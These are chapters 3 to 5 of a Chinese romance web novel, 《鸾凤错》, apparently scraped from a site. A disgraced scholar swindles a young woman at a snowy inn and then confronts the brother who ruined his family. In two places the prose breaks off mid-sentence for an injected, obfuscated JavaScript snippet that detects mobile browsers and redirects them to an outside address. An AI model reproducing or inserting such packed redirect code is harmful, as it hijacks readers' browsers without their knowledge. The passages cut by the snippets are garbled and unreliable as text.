《鸾凤错》 3. 003 仰天望去，树荫接着树荫，四下里绿森森，罅隙中掉来来片片鹅毛，琼瑶碎玉，点点消融在燕恪脸上。他脖子上还架着两把利刃，身子底下是一片霜土，整个人世冰凉。 不过他早冰得骨肉麻木，也不觉得怎么样。自从广州采石场五年，他以为这世上本来藏污纳垢，世上之人，也无非魑魅魍魉。 只他肚皮上坐的这姑娘有片人的热温，她鼻尖被冻得通红，说话时嘴里的白雾朝他迎面扑来，风霜落在她头上，也盖不住她眼里本该有的生机与善意。 他知道此刻只要再讨她个好，她一样能饶过他。 主意一动，便把下腹朝上略挺一下，望着她微笑，“你这姑娘，怎么总喜欢坐人身上？还是，单爱坐我身上？” 童碧给他一顶，感觉到他紧实的腹肌，一颗心忽然震了一震，握刀的手松了两分力，嘴里却愈发凶巴巴的，“谁爱坐你身上，我是怕你跑囖！” “跑了你还可以追嘛，你又不是追不上我。” 燕恪难得这般轻浮，言行上虽然显得得心应手，心里头却不免尴尬发烫。读了十几年圣贤书，没想过靠女人发迹，可到头来，却还是要靠花言巧语哄女人。 童碧一时给他漫洋洋的两只笑眼看得乱了方寸，稍微避开眼，刀却在他脖子上紧了紧，“你这贼，还笑得出来。这里荒郊野岭，我杀了你挖个坑埋了，也未必会有人发现！” 他轻轻嗤笑，摊开胳膊和腿，满是华亭鹤唳之怆然，“那你就杀吧埋吧，反正我落到这步田地，活着也没趣，索性早死早超生。” 这一说，勾起黄掌柜昨日说他的那些话来。黄掌柜还说了，这燕恪自幼读书勤奋，十几岁就考上秀才，后来因为吃了那桩官司，被剥了功名，终身不得再考。 一个读书人不能再考试，前途算是绝了，流放回来，连个正经差事也难找，亲戚们又不肯帮衬，自然沦落到靠偷靠抢混饭吃。 她如今自己是个孤女，对着个走投无路的落拓书生，颇觉着些同病相怜的滋味。况且她不过拿话吓唬他，谁真敢杀人？ 再则，他这双眼睛似幽篁千里，深不见底，竟叫人无端生出一丝怯懦来。 她欲收了刀起身，又怕无故饶他，显得倒像自己先怕了他似的。便有些骑虎难下，罔知所措。 忽地燕恪又一笑，“你又不杀我，又不饶我，难道预备在我身上一直坐下去？我倒是没所谓，就怕——” “怕什么？” 他低下声，好似耳语，“就怕你再坐着，我就有些，身不由己了。” 童碧起初没大明白，直见他眼中浮起暧.昧，方想到屁股后头紧挨着他身上哪一处。她骤然脸热了，照着他左边脸上掴去一巴掌。 “你这贼！还是个霪贼！”她忙起身，理着衣裙，“要不是瞧你长得有、有点人模狗样，早一刀砍了你！” 他被打了一掌，却没点半气恼，仍躺在地上，望着天上阵阵发笑。那笑声越笑越疏，散了气似的，丝丝缕缕地在林子里回荡，越听越悲怆，整个山林都跟着发紧发颤。 待他笑足了，在地上朝她偏着脸，“你若此刻杀了我，我不怪你。” 童碧裙上的尘泥扑不干净，干脆放弃了，端着满脑袋疑惑，蹲在他脑袋旁边瞅他，雪冷冰湿了他一脸。 她心里也跟着湿了一点，“嗳，你脑子是不是有些毛病啊？不应该呀，他们都说你读书厉害，是不是读书读傻了？” 那点微笑却在燕恪脸上结成霜，他不搭话，瞳孔里映着漫漫雪花，像灰烬，将他眼中的光掩埋了。 鬼使神差，童碧心一酸，一歪屁股在他脑袋旁边坐下来，对着他叹了口气，“我知道你，你是西城燕家二郎燕恪，他们说你曾流放去过广州。嗨，这值什么，我还不是进过大狱坐过三个月的监，出来还不是一样过日子，只不过亲事略有些不好找罢了。” 燕恪眼睛一转，“你一个姑娘家，能犯什么案子？难不成，你犯的是有关男女私情的罪？” “你再胡说！”童碧提起刀来。 他却朗朗笑了，根本不怕。 风轻送飞雪，这笑声听着喑哑，童碧看着他的脸，忽然明白了，他是在激她杀他。 她只得把刀悻悻丢开，“我是打残了人。”她瞥着他笑，“我根本不敢杀人，不过可以把人打个残废，你想死是没可能了，要是想做个瘸子瘫子，我倒可以成全成全你。” 燕恪望着天干笑，风雪灌进嗓子眼里，笑得连声咳嗽。 “瞧，你这窝囊废，还怕缺胳膊少腿，我看你也不是真的不怕死。” 他没辩驳，隔会慢慢爬起身，伸手来拉她。 童碧望着他这手，指节修长，骨骼分明。又循上看他的脸，难道脸长得俊的人连手也俊？ 她从未握过这么好看的手，直觉这手会很冰。怕什么，冰虽冰，这孤独荒郊，也幸得有只手可相握。 “你叫什么？”他问。 “姜童碧。”童碧拾起包袱，仍将两把斩骨刀搁在包袱里，包袱斜系在背上，瞅他一眼，“你要往哪里去？” 燕恪弯腰在那里拍衣袍，头上鹦哥绿的发带垂在脸边，“嘉兴。你呢？” “我也是往嘉兴城那头去。” 两个人有一句没一句搭着些不相干的闲话，他没说他的艰辛，她也没道她的孤苦，闲言碎语，几处辗转，直走来林子外头。林外风怒雪紧，刮得人脸上生疼，她卷翘的睫毛上挂了片晶莹霜花，只朝前头眺望着。 他却悄悄斜下眼看她。 天荒地乱里，没有旁人，她不留神踩滑了，他便出手拉住她，他肩上积了雪，也只她肯替他拍一拍。 仿佛多年前就认得，故人重逢，相亲得自然。 又走了大半个时辰不到，童碧知道是给那车夫诓骗了，不过她上当上得习惯，心里虽有点怄气，到底没抱怨。 燕恪忽然问：“你到那林隐客栈做什么？” 童碧没好意思照实说，只扯着个笑，“去探个朋友，他今日应是在那客栈歇脚。” 他点一点头，童碧反问他去嘉兴做什么。 他默了一阵，冷冷答道：“去寻兄嫂。” “亲兄嫂？你去投奔他们？” 他只含笑摇头。 看来他也不说实话，倒也是，萍水相逢，把家底倒出来做什么？童碧便不问了，抿住嘴，朝前望去，终于瞧见风雪中漂浮着几只红灯笼！ 那客店院墙上挂着酒幌，三面两层楼房，瞧那装潢想是家有些名望的客店，里头不知几多暖和。童碧恨不能立时冲进去，温壶热酒，痛快吃它一顿热汤饭。 眼见天将黑了，再往前去，只怕也进不了城，她看燕恪一眼，“你也在那客店里歇一夜吧，城门只怕就要关了，赶也赶不上。” 燕恪嘴角朝下一撇，没奈何也没奈何得十分潇洒，“我没钱。” 总归是帮人帮到底，救人救到家，也是看在他这副皮相的面上，童碧不耐烦地解下包袱，里头胡乱摸出五两银锭子来，“喏，我这里有，今晚的食宿费，我替你出了。” 他略带讥笑，“白替我出，你很有钱么？” “谁白出？等你投奔了兄嫂，拿了钱，可得回桐乡县去还我，还有利息！” 燕恪给她剜了一眼，就把笑敛了，摆出张冷冰冰的脸，“我可没说要住，你这叫好心眼挂在鼻头上，强做给人看。滴水之恩要人涌泉相报，充好人也充不像样。” 客店就在眼前，天愈发黑，雪愈发紧，童碧不信他能在这寒天冻地里窝一夜。她把银子在他眼前晃一晃，“你不住我可自己进去了啊。” 说着连蹦带跳朝那门前赶。 “住！” 童碧回头瞅他，“那还不还利息？” 燕恪一笑，大步赶来，“随你算多少，将来总归连本带利还你便是。” 她跳去院门前拍打叫门，燕恪在她身后阴沉了目光，笑意也散在昏暝暝的天色中。 他方才瞥见了，她那包袱里约莫有四五十两银子。不管将来作何打算，银子都是缺不得的。 未几店内伙计提着灯笼来开门，一径踅过场院，进到客堂里，这雪夜倒热闹，堂中宾客满座，吃酒说笑，热火朝天。看来时辰不算晚，只是天黑得早了些。 看穿戴有做买卖的，有拖家带口走亲戚的，也有些上京赴考的举人老爷。举人老爷嚜，多是有些年纪的，堂内坐的年轻男人没几个，童碧只管盯着那几个年轻的瞧。 照敏知说的，那苏宴章二十二岁，生得一表人才，该是鹤立鸡群才是。可她睃了半天，并未见一个出众之才，可别是叫敏知那丫头诓了。 她在柜前扭着脖子看，倏听见燕恪敲了敲柜案，回过头来，见他一条胳膊搭在柜上，人攲靠在柜上戏谑一笑，“可曾找见朋友？” “要你多事。”她翻他一眼。 燕恪将身子站直， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897288|192263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “非亲非故，我多事做什么？不见得我这么得闲。”说着，放低了声，“付定钱了。” 童碧知道他是怕人家听见他一个大男人要个女人出银子，脸上挂不住。她偏不给他脸，吊起嗓门，“付什么？” 柜案里头那掌柜笑嘻嘻道：“小店的规矩，住店要先付一半定钱。” 童碧故意把包袱大声搭在柜上，好叫人家看钱是她出的。 谁知正摸银子呢，燕恪就在旁朝掌柜笑，声音不高不低，正能叫满堂宾客听见，“欸，男人家成了亲就是这点不好，连个傍身钱也没有。” 为了他自己的体面，硬把她说成是他老婆了！ 童碧唯恐给那苏宴章听见，一双眼又心虚地满堂乱睃，仍没寻见个拔尖的人才。大概真是给敏知哄骗了，要么是那苏宴章没在这里，要么是隐在其中，并不出挑。 她一灰心，老婆不老婆的，也懒怠同人分辩了。只凑去燕恪耳边，咬牙道：“你再乱说话，把你赶去荒郊野岭里头喂豺狼！” 正说着，掌柜的顺理只递来一把钥匙，“西面二楼第二间房，爷奶奶可要吃晚饭？” 童碧却道：“要两间屋子，饭送到房里去，我那间要一荤一素两个菜，两碗白饭。他那头一碗稀饭一碟咸菜就够了。别擅自弄多了啊，多了我可不给钱。” 掌柜的又瞧燕恪，燕恪只一笑，“依她吧。” 这回他话虽没多讲，也没胡讲，可这两个字带着些宠溺的无奈的口气。那掌柜的一听，了然地抿着笑点一点头。显然误以为他们是小两口拌了嘴，正怄气呢。 童碧看他二人心知肚明在打哑谜一般，气不打一处来。横着眼再一看燕恪，忽觉他那张脸也没那么出色了，反而有些招人恨。 回头就把他狠揍一顿！ 她忿忿接过钥匙，转身就见一位年轻相公打帘子进来，蓦地令她眼前一亮。 这男人一看就是二十出头，穿着件水色皮袍子，头戴灰兔毛皮帽，那长长的灰毛在额上颤颤巍巍，也挡不住他一双明亮有神的眼睛。他身后又跟着一个半大小子，大约是他的随从。 恰好掌柜的迎出柜来，“苏老爷，酒菜都预备好了，可是这会上？” 凡举人都被人尊称“老爷”，他又姓苏，多半就是那苏宴章！ 童碧心头一阵悸动，忙扭头和掌柜笑说：“饭就在这堂中吃好了！” 掌柜的错愕一瞬，赔上笑脸，“可堂中暂且没桌子了，瞧，都满座了，剩的那张空桌子，也早给这位苏老爷定下了。” 苏宴章正领着书童往里头走，听见他们说，回过身来瞅，瞅见燕恪，便有礼笑笑，“两位倘或不弃嫌，可与我同桌。” 童碧禁不住朝他近前半步，心早飞扑到他身上去了，脸上亏得没笑出朵花来，“不嫌不嫌！只要你不嫌。” 苏宴章讶异一下，笑着摆开胳膊，“那，二位请。” 一行亲自引着朝角落那张八仙桌过去，一行扭头打量燕恪，“这位相公也是要上京考试？如蒙相公不弃，小可能否与相公搭伴同行？” 燕恪瞥一眼童碧，她面颊上浮着一丝难得一见的羞赧。他含着微笑，迟了须臾才道：“我哪有那份福气。是进嘉兴城，路上耽搁了，误了城门，在此地稍歇。” 二人互通姓名，苏宴章脸上略挂些失望，仍笑着请二人落座，“敢问这位姑娘可是兄台的婢女？” 童碧听见将她说成丫头，心里有丝不悦，又恐燕恪乱说，忙抢白，“我是他的妹子，是来这里会朋友的！”说完眼横秋波，忸怩羞赧地半垂了头，“其实说是朋友，也不算，今日是初会。” 苏宴章提着茶壶往二人面前斟茶，闲搭话，“那见着没有？” 童碧却不作声了，只管笑吟吟睇着他。 笑得这苏宴章心里冷不丁打个冷颤，险些以为是哪里惹下了风流债，人家找上门来了。 不过苏宴章并不是惯弄风月之人，他娘在男女之事上一向管他管得严。因此未再疑虑，只管与燕恪闲谈，越谈越觉投机，竟已将燕恪引为知己。 饮啖醉饱之后，童碧欲摸银子会账，苏宴章却强要做东，命书童先往柜前会了饭钱。 童碧暗中对他又添两分好感，这人言行有礼，气度不俗，通身上下都散着书卷气，谈吐满是水墨香。拿他与燕恪相较，燕恪相貌气质上虽胜两分，可品行为人上却输人。 都是长得好，自然该拣那品德端正的。 4.004 风稍止，雪已歇，童碧开窗一瞧，对过房顶上早积下几寸白雪，更有一轮圆月万山头，这夜分外明了。 雪檐底下那间房里还亮着灯，将一个轮廓投映在窗户上，打死童碧都认得，是苏宴章，他还未睡。 童碧望着那窗户盘算，先前与敏知商量的意思，是她先来结识苏宴章，若相中了，便设法让苏宴章对她动点心思，将来苏宴章多半就肯主动同敏知家退亲。 事情说来简单，办起来却难，方才饭桌上，那苏宴章不知是过分有礼，或是有碍男女之别，只一味同燕恪谈笑，并不大正眼瞧她。 难道是嫌自己相貌粗陋？童碧忙翻出包袱里的胭脂水粉，又摸出圆形长柄菱花镜，打定主意，精心施妆敷粉。 这也是跟着敏知现学的，敏知当时一面教一面道：“姐姐是生得好的，只是不会打扮，常穿那些颜色重的衣裳，显得人无端老了几岁。说话又凶，行动又莽直，失了女人味。” “那女人味该是什么样？” “女人嚜，说话细软些，神情娇柔些，走起路来斯文些，穿衣裳要鲜亮些。我这里有身好衣裳，颜色样式最合姐姐的模样，姐姐一并带了去，要是瞧那苏宴章果然好，就穿给他瞧。” “要是他还是不喜欢怎么办？” 敏知替她装扮好，拉她来到穿衣镜前，朝镜子里笑，“只要是个男人，都会喜欢的。” 镜子里的人，她自己都不大认得了，眼角颊腮匀得粉扑扑，头上斜簪几点樱桃似的绒花，桃红对襟短罗衫，襟口绣着藕粉色的简洁纹样，里头一抹烟紫的横胸，底下一样烟紫的纱裙。 这天气穿成这样，冷得人打哆嗦！不过舍不得孩套不着狼，豁出去了！她走来窗前静觑，等候时机。 未几便见苏宴章那半大的书童下楼去了，像是问店家讨个什么没讨着，又悻悻上楼来。 她忙拉开窗，朝那书童招手，叫到窗前来问：“你问店家找个什么？” 书童道：“朱墨，我家相公要给文章做注用，店里只有寻常黑墨。” 童碧半懂不懂，正好，她这里有盒朱红的胭脂，管他能不能当墨使，不过借它搭个讪。 这便拿了胭脂，又借口要茶，将这书童支使到楼下，自迤行往对过敲门。 苏宴章开门一见是她，心下便诧异，又见她脸上扑着脂粉，穿得姹紫嫣红，遂想起方才席上，她虽不大插得上话，可一双眼睛只管溜来滑去地盯着自己看，像个饿老鬼瞅见大肥肉。 他心里起疑，稍显踟蹰，不知该不该请她进屋。 童碧岂用人请？笑嘻嘻自挤进门来，把一盒胭脂搁在八仙桌上，“这胭脂也不知道能不能当墨使，你且试试看，要是不行，我再另想法。” 苏宴章站在门前尴尬笑笑，“有没有也不是十分要紧。姑娘这么晚，还不睡？” “也不晚，好像还没到二更天呢。”童碧不请自坐，就坐在那八仙桌后，支颐着脸朝他痴笑，“你一向早睡么？” 门不敢关，冷风吹进来，苏宴章打了个哆嗦，一看童碧那张脸笑得谄媚，脑子亦是一个激灵，“我正要吹灯歇下。” “这么早能睡得着？”童碧歪着眼嗔他，“你过来，咱们两个说说话。” “说话？”苏宴章心头一跳，“我和姑娘今日初识，不知有何可说？” “说话嚜还怕找不到说的啊？可以谈天说地，再聊聊风花雪月呀。”童碧扭腰摆胯地行来，手朝他肩后抬去，一径把门阖上了，“你们读书人，不是最喜欢聊风花雪月么，什么梅兰竹菊啊，我也有点见识的嗳。” 苏宴章吓得后跌一步，背直抵住门，“姑娘，你兄长还在对面屋里呢，你请自重。” “嗨，不要理他，说他败兴。” 童碧忽记起敏知指示，女人要尽显妖娆妩媚，便摸出条手绢来，照着他的脸扇打一下，“我叫姜童碧，你呢？” “你你你，你才刚席上你不是听见了么，我叫苏宴章。” 童碧立刻踮一踮脚尖，朝他嗔一眼，“好名字，咱们都是三个字的名字，好相衬的嗳！” 她拍着手掉转身，又扭头嘻嘻一笑，朝他放了个眼波，“你老站在门前做什么？我们坐下来说话呀。” 苏宴章只当碰见了个女疯子，或是荒郊客店，撞上个仙人跳。一动不敢动，只等她朝桌前走了，他立马拉开门跨到廊下，高声呼喊：“童儿，童儿！” 童碧只当叫她，登时美滋滋回身。 谁知书童噔噔噔跑来门前，主仆俩满面警惕朝她望来，“姑娘，请自重！” 人家误会了，可原本她就心术不正，身上纵有百张嘴，也难说清。可怜她那几十两银子都还没来得及送给他呢！ 她被人赶出来，只得一道烟先溜回房，想着等明日再找苏宴章消解误会。谁知门还未阖拢，只见燕恪跻身进来，带着一脸戏谑鄙薄的笑。 童碧要脸面，挺直腰杆乔作澹然地睇他一眼，“你笑什么？难道你也误会了？哎唷，我不过是听见他找东西，我这里正好有，就给他送了去，没别的意思。” 燕恪只管上下瞄着她，似笑非笑，“不见得吧，才刚吃饭的时候，你就老盯着人家看。你说来会朋友，原来会的是这么个‘朋友’。” “本来我和他就有交情！只是从前没有见过面而已。我还知道他住嘉善县，他家里有个老娘，他本是南京城苏家的子孙，我要是不认得他，如何会知道这些？” 他横抱胳膊，笑着摇头，“这些话，才刚席上他说过。” “我那时根本就没留心听！” “就算你没听见，这些小道消息，只要有心，稍一打听都能知道。我看你是早打听到有这么个人，特地来这里相会，想勾引人家。” 他一面说，一面放出只手来，上下指着她咂舌摇头，“你把自己弄得跟个女鬼似的，半夜三更，搔首弄姿，不知道的还只当你是逮着人家采阳补阴。” 短短几句话，童碧简直不知由哪句气起，只好抬手就去拧他的耳朵，“姑奶奶好心好意饶你一命，还照管你的食宿，你晓不晓得我于你是再造之恩？还敢对恩人说长道短，我化成鬼怎么样，又没找你！” 拧得燕恪直哎唷，忙从她手里挣脱出来，恨得牙根痒痒，脸上照样笑，“谁说我不懂报答，我这不是特地来替你出主意嘛。” “出什么主意？”童碧撒了气，往桌前坐了。 燕恪缓缓走来桌前，睨下笑眼，“自然是让你能得到他的心的主意。” “你有法子？” 他撩开袍子，长腿一抬，跨到长条凳前头坐下，提壶给自己斟茶，“你是女人，根本不了解男人的心，在你的确是桩难事。可我是男人，我最清楚男人喜欢什么样的女人，只要你按我说的做，那苏宴章没有不动心的道理。” 有道理，他们年纪相仿，又都饱读诗书，肯定喜好相似，肚子里的花花肠子保不准也长得一样。 童碧抢过茶壶，就着壶嘴就汩汩牛饮，一双眼半信半疑斜着他，“那你说，我该怎么做？” 他笑着睐她一眼，“你什么也不必做，明日起来，我先去对那苏宴章分辩今晚之事。再告诉他，你因夜里穿得单薄，着了风寒，病在床上起不来，我正要替你去城中请大夫，再托他照管你一两个时辰。” “然后呢？” “然后，你只管在床上装个病美人，不许话多，不许吃饭，他若端饭给你，你也要装得食不下咽。” “能不能吃茶啊？” 燕恪望着她，心内登时叹足了一百二十口气。 桌上一盏青灯，借着那暖融融的黄光细看来，她那五官倒长得十分俏皮，标准的月眉杏眼，脸是张圆脸，不显胖，只显出几分钝拙敦厚的可爱。 忽然他抬手摘下她脑袋上的红绒果，扯松她的发髻。 童碧被扯得龇牙咧嘴，恼了，一拳砸在他脸上，“你扯我头发做什么？！” 打得燕恪人仰马翻，咬牙扒着长条凳爬起来，“我替你拾掇拾掇，你知道男人喜欢什么模样的女人么！” 童碧原以为他是趁机捉弄，见是误会了，又笑嘻嘻拉他起来，“早说啊，来拾掇吧，我保证不打你了。” 他弄了半日，真给他捯饬出个病西施，自己也看得微微出神。 童碧忙去床上取了小镜来照，瞧不出哪里好来，把嘴鄙夷地撇着，“瞧着就是个病痨鬼。原来你们读书人喜欢这样的？” 燕恪回神挪开眼睛，却拿余光斜她一眼，“你不懂，男人不喜欢比自己强悍的女人，尤其是面上。记住我的话，明日耐住性子，不要多嘴。” 童碧也知道自己说话粗鲁，她又没读过书，字也不识几个。有什么关系，不识字又不妨碍她算账做买卖。他倒是书读得多，还不是沦落到偷东西打劫。 她乜着眼，擎着蜡烛朝床前走去，“行了，少算你点利息，当我谢你的。你走吧，我要睡了。” 燕恪却坐在那里不动身，门外斜来一片月光，裹着他一个冷森森的轮廓。 隔会他转过脸来笑，“做戏要做足，你不给我点钱，我明日如何替你请大夫抓药？” 童碧警觉起来，“装病还真得请大夫啊？” “装病请什么大夫？不过是拿着钱给苏宴章看，一来，我想他是疑心咱们是设仙人跳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902272|192263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，给他瞧见咱们有钱，疑心便可消了。二来，他见我拿那么些银子，只当你病得不轻，自然肯悉心照顾。和他说话我也看得出来，他是个心地善良之人。” 言讫须臾，他眼皮向下一垂，颓笑着起身，“也罢，你不放心就算了，我曾偷过你东西，劫过你的道，你疑心也是应当，我不怨你。” 他的脸被月光映得惨淡淡，那抹笑也显得苦。童碧想起下晌他一心求死的模样，有点不忍。 心里又寻思道：再说想死之人，哪还有心情算计人钱财？才刚往苏宴章房里去时，这屋的门并没上锁，他要是还有坏心，大可以趁那个空子，钻到她屋里来拿了银子一走了之。 谁都有个行差踏错的时候，总不能犯了点小错，就不给人改过迁善的机会。这还是她出监房时，差官大哥劝诫她的话。 她踌躇再三，到底摸了三十两银子给他，“你不许乱花啊，这银子我有用。” 银子谁没用？燕恪拿了钱，含笑作揖，“这世上，恐怕就只你信我了，多谢。” 要说信，童碧也不敢十分相信，这一夜间睡不踏实，竖着耳朵听隔壁的动静，唯恐燕恪携银夜逃。直听到后半夜也没个动静，便渐渐松了心弦，一觉睡到大天明。 刚起身就听见燕恪敲门，她彻底放下心，想他是诚心改过了，和颜悦色放了他进门，“你这就要去了？” 燕恪笑出八颗白牙，“我这就去了。” “那好，你去吧，我等着你。” 他朝她点一点头，脸上笑意缱绻，“记住我这话，男人都不喜欢太要强的女人，要学会以柔克刚，靠蛮力是不能成事的。” 童碧连不迭点头，“我记住了，你只管去。” 他嘱咐完，又含笑看她，黑褐色的眼睛渐渐显得柔软。趁还未在这无名的柔情里泥足，他转背走了，去对过找那苏宴章。 童碧走去窗前支起耳朵听他在那头同苏宴章说话，也没听清说的什么，只听见未几那书童找店家要水洗漱，想必盥洗完就过来了。 谁知躺在床上左等不来，右等不来，开窗瞧，却见对过门户大开，店伙计正在里头扫洗屋子，童碧忙开门过去问。 店伙计道：“苏老爷刚退房走了，人家忙着赶路，哪有工夫多在小店住？” “走啦？！” “走了，要了我们的马车送他们进嘉兴城，要赶去码头坐船。” 要赶也赶不上，童碧一颗心直往肚子里沉，腰背也耷拉下去，满面失落。 在这门前呆立一会，她倏地提起口气来，心里将把燕恪骂了一遍，都是他声称懂得如何俘获男人心，害得她落得一场空欢喜！ 这厢灰溜溜走回房中，预备着待燕恪回来同他算账，谁知在床上睡到下晌也不见燕恪回来。她疑心骤起，猛地翻身起来，眼珠子转了两圈，一径走到间壁，推开房门一瞧，那桌上赫然放着这屋的锁头钥匙。 那锁头底下似乎还放着张纸，她走去拿起来一瞧，只认得“中”“仁”“二”几个字，便噔噔噔跑下来楼去问掌柜。 掌柜接过宣纸，摇头晃脑念道：“莫信直中直，须防仁不仁①。” “什么意思？” “意思就是不可轻易相信人，尤其是那些看上去正直仁义的。”掌柜递回宣纸，“落款是二郎，你丈夫嘱咐你呢，不要给人骗了。” 童碧歪嘴一笑，真不错，果然又上了他的恶当了—— 她垂头丧气走到堂外，倏地仰着脖子大骂：“燕恪！你是个狗娘养的杂种！” 一时枝摇雪落，鸟扑鹰飞。 燕恪仰头一看，是棵万年常青的香樟树，听说当年查办他那桩官司的罗主簿调任嘉兴，连家也迁至嘉兴城来了。宅子就置办在永定街上，门前正有一棵香樟，想必就是此地。 燕恪上前扣门，未几有个老仆来开，可巧那罗主簿在家，燕恪便随这老仆踅至堂屋。 那罗主簿一见他就认出来，搁下茶碗起身，笑了笑，“你是燕家二郎。” 燕恪作揖唱喏，“好几年了，罗主簿还认得小可？” “你这副相貌，叫人过目不忘呐。”罗主簿从容坐回椅上，“不过那叶家小姐倾慕你，可不单是为你的相貌，她眼瞎，又看不见，她不过是敬仰你的才智。可惜你偏不领情，落得流放广州府几年，何苦来呢？不知今日你想通没有？想通了也不晚，那叶小姐还等着你呢。” 燕恪这遭来，却不为问什么风情月债。他走近前，摸了两锭银子搁在桌上，“小可前来，不是问叶家的事。是想问问，当初到底是谁要害我？” ———————— ①《增广贤文》 5.005 此言一出，罗主簿脸色僵了一僵，把眼来打量燕恪。 当初事发，燕恪还不过是个未经世事，只晓得闭门造车的傻秀才，白白的面皮，通身书生意气，轻狂得了不得，敢在公堂之上与县太爷争辩高低。 而今广州府凿了几年的石头回来，皮肤晒黑了些，说话虽直，却知进退，态度上也变得谦卑讨好。二十三岁的年纪，却瞧出些老成稳练，又另添些阴鸷狡诈。 人活在世上，免不得是要变的。 罗主簿摇着头发笑，“你问这话是什么意思？难道觉得当年衙门办你办得不公道？” “小可不敢，只是当年的官司，处处蹊跷，罗主簿是个聪明人，不会看不出来。当时县太爷急着判我，到底是急着还叶家小姐的公道，还是得了哪些人的好处，还请罗主簿指点。” 见罗主簿不作声，他坦率笑着，“我流放去了广州，第二年，就听说我爹吊死了，次年又听说我娘病故。等我回来，家里的香料铺子也改姓了祝。这一桩桩一件件，不得不耐人寻味。” 罗主簿扫了眼手边两锭银子，笑叹，“你兄长入赘了祝家，祝家与你燕家不就是一家嚜。” “亲兄弟明算账，何况我大哥是入赘人家为婿，经过这几年，这些变故，我也少不得要留个心眼。罗主簿尽管放心，以小可如今的情形，就算知道里头有人陷害，也寻不上人什么麻烦。生有地，死有处，小可不过想活个明白。” 罗主簿冷眼看去，大雪天他穿得如此单薄，那袍子上还沾着不少泥尘。落魄至此，量他也翻不起什么风浪。 何况有银子不能不赚，他将那二十两银子一边一锭，掖入袖中，掸了掸腿，“别的我不清楚，我只晓得当年事发，你兄长曾去过县太爷府上，第二天，县太爷就催着赶紧把你判了。” “再有，你爹自缢之前，你家欠了好几百两的外债，是你爹当时为你打点花的钱。你去后，人家逼他还债，他没钱，只好拿铺子做抵押，从祝家借了一千两银子还债。后来，利滚利，一千两变成三千两，钱还不上，铺子给祝家收了去，你爹是想不通吊死的。” 祝家与他们燕家是亲家，行当做得杂，开着好几间铺子，却都不大赚钱。多半是早看中了他们燕家的那间香料铺，处心积虑设下此局。 终于证实了这几年的猜想，燕恪由罗家出来，不觉恍惚，昏头昏脑不知该往何处去。街上雪化成泥泞，他晃着晃着，狠狠跌了一跤，直摔出一抹鼻血。 不过这一跤，倒把他跌了个清醒。这回来，原就是要来寻兄嫂问个清楚。 他把唇上的血一抹，掉转身，循着祝家宅上去。及至那街前一瞧，祝家阔了宅院，换了道赫赫扬扬的门楼，连门上都添了两个小厮守着，可见这几年蒸蒸日上，买卖做得红火。 冷眼瞧着，那门里走出来锦衣罗袍的公子，正是他大哥燕钊。 燕钊长他三岁，同他不一样，自会跑就跟着他爹做买卖。那时候家里穷，街上支个摊子，他跟着忙前忙后，赚的钱只够一个人读书。 爹娘说燕钊没读书的天赋，他没读成，做了商人。做商人就定要会算计，燕钊算来算去，把自己家里算了个一干二净。 那燕钊上了马，由个小厮牵着，慢慢悠悠不知晃往何处去。 晃到条僻静巷子里来，倏闻后头有人大喊：“燕钊！” 这声音他熟的不得了，梦里也听见，听见便惊醒。一回头，果然看见他兄弟燕恪阴沉沉一张面孔，一步一步朝他缓步逼来。 燕钊晓得他年前刚回了桐乡，广州服役，又苦又累，那矿场常折腾死犯人，他特地打点了，才将他投到那里去。 不曾想他竟没死，他这百无一用是书生的兄弟，竟没死成！ 他跳下马来，打量着燕恪发笑，“你黑了，也结实了，比从前个头高了许多。” 燕恪近前来，一双眼睛冷钉在他脸上，“我问你，娘是怎么死的？” “病死的。”燕钊反剪一条胳膊，低头叹息，“自爹死后，她的身子就不大好，家里除了几个不经心的下人，没有别人，我不放心，就将她接到祝家来，让你嫂嫂亲自照料她。可她老人家气性大，不吃我们赚的药，也不瞧大夫，一日一日病下去，就去世了。” “无端端的，娘气你们做什么？”燕恪反平心静气来问。 他这兄弟越是发怒，越是平静。爹娘说他天生是做官的人才，做买卖到底没出息，走仕途才是正道。所以格外偏疼他，家里吃的用的都先紧着他，钱也先紧着他花。 燕钊憋不住，一声冷笑泄出来，“你自小就聪明伶俐，还用我说么？骨肉兄弟之间，不留点情面？” “你为了钱，逼死爹娘，还谈什么骨肉兄弟？” “我为了钱？”燕钊讶异地睁圆眼，旋即一笑，笑得止不住，朝巷子那一线天仰着头，喉结不停弹动，“我为了钱——” 他那笑声戛然而止，瞪圆怪眼，“不错，我就是为了钱！商人，不为钱为什么？我不比你，读书人，傲气得很，从小只爱水墨香，却嫌铜钱腥气。” 说着，他反朝燕恪迫过来，“那是你没摸过银子，你没算过账，你只知道花不晓得赚。你要是起早贪黑一个子一个子赚过，你也会变得越来越贪！你也会挖空心思，只盼明日赚得比今日多，后日更多，一年比一年多！” 他攥着胸前的衣料，“年复一年，整个人掉进钱眼里，浑身铜臭！” 燕恪心中震了一震，却仍是平静的口吻，“不见得每个做生意的人，都会把自己家里算计得家破人亡。” 听见这话，燕钊又平复下来，“那还是我家么？那不是我家，我是祝家的人，要替祝家打算，生的儿子也姓祝。” 听得燕恪气随血涌，捏住拳头一拳打在他脸上。燕钊一个踉跄，脚下一滑，摔个脸朝天。燕恪立时扑上去，一拳拳雨点似的砸在他脸上。 打人原来这么痛快，怪不得那姜童碧一个姑娘家，也偏爱动手。 